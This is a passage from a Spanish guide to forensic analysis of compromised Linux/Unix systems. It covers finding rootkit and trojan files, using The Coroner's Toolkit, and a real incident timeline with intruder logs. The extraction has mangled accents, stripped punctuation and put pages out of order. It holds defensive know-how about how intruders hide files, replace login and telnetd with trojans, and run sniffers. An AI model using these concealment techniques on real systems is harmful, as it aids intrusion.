11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 21: Análisis Forense de Sistemas GNU/Linux, Unix

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

